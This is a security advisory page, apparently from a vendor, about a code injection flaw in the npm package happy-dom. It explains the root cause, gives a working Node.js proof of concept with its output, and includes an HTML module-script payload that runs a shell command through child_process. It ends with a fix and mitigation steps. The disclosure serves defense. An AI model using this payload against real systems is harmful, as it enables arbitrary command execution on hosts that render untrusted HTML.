GHSA-6q6h-j7hj-3r64 is a high-severity (CVSS 8.8) Code Injection vulnerability in happy-dom. A fix is available for happy-dom — see the affected versions and patch details below.
Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6q6h-j7hj-3r64.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6q6h-j7hj-3r64 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
happy-domnpmDescription
Summary
A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.
Details
Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385
The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:
} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
// Export object
const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
const exportCode: string[] = [];
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped
if (exportName && importName) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
// importName is inserted as executable code, not as a string
}
}
newCode += exportCode.join(';\n');
}
The issue has three root causes:
STATEMENT_REGEXPuses{[^}]+}which matches any content inside braces, not just valid JavaScript identifiers- The captured
importNameis placed in code context (as a JS expression to evaluate), not in string context .replace(/["']/g, '')strips"and'but not backticks, so template literal strings like`child_process`survive the filter
Attack flow:
Source: export { require(`child_process`).execSync(`id`) }
Regex captures match[16] = " require(`child_process`).execSync(`id`) "
After .replace(/["']/g, ''):
importName = "require(`child_process`).execSync(`id`)"
(backticks are preserved)
Generated code:
$happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
evaluateScript() executes this code -> RCE
Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.
PoC
Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:
// poc_happy_dom_rce.js
// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);
console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());
// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');
console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));
// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);
// Step 4: Verify the generated code is valid JavaScript
try {
new Function('$happy_dom', generatedCode);
console.log('[+] Valid JavaScript: YES');
} catch (e) {
console.log('[-] Parse error:', e.message);
process.exit(1);
}
// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);
Execution result:
$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)
HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:
<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact
An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.
Realistic attack scenarios:
- SSR applications: Applications using happy-dom to render user-supplied HTML on the server
- Web scraping: Applications parsing untrusted web pages with happy-dom
- Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom
Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:
const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
const importName = nameParts[0].replace(/["'`]/g, '');
if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | happy-dom | ≥ 15.10.0&&< 20.8.8 | 20.8.8npm install happy-dom@20.8.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update happy-dom to 20.8.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6q6h-j7hj-3r64 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6q6h-j7hj-3r64 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-6q6h-j7hj-3r64. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6q6h-j7hj-3r64 in your dependencies?
O3 Security finds GHSA-6q6h-j7hj-3r64 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.